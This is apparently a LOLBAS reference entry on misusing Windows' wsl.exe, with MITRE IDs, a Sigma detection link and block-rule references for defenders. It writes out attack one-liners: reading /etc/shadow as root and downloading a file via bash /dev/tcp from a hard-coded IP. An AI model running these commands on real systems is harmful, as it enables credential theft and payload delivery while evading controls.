--- Name: Wsl.exe Description: Windows subsystem for Linux executable Author: 'Matthew Brown' Created: 2019-06-27 Commands: - Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe Description: Executes calc.exe from wsl.exe Usecase: Performs execution of specified file, can be used to execute arbitrary Linux commands. Category: Execute Privileges: User MitreID: T1202 OperatingSystem: Windows 10, Windows Server 2019, Windows 11 - Command: wsl.exe -u root -e cat /etc/shadow Description: Cats /etc/shadow file as root Usecase: Performs execution of arbitrary Linux commands as root without need for password. Category: Execute Privileges: User MitreID: T1202 OperatingSystem: Windows 10, Windows Server 2019, Windows 11 - Command: wsl.exe --exec bash -c "" Description: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u `) on the default WSL distro (unless stated otherwise using `-d `) Usecase: Performs execution of arbitrary Linux commands. Category: Execute Privileges: User MitreID: T1202 OperatingSystem: Windows 10, Windows Server 2019, Windows 11 - Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary' Description: Downloads file from 192.168.1.10 Usecase: Download file Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10, Windows Server 2019, Windows 11 Full_Path: - Path: C:\Windows\System32\wsl.exe Code_Sample: - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules - IOC: Child process from wsl.exe Resources: - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules - Link: https://twitter.com/nas_bench/status/1535431474429808642 Acknowledgement: - Person: Alex Ionescu Handle: '@aionescu' - Person: Matt Handle: '@NotoriousRebel1' - Person: Asif Matadar Handle: '@d1r4c' - Person: Nasreddine Bencherchali Handle: '@nas_bench' - Person: Konrad 'unrooted' Klawikowski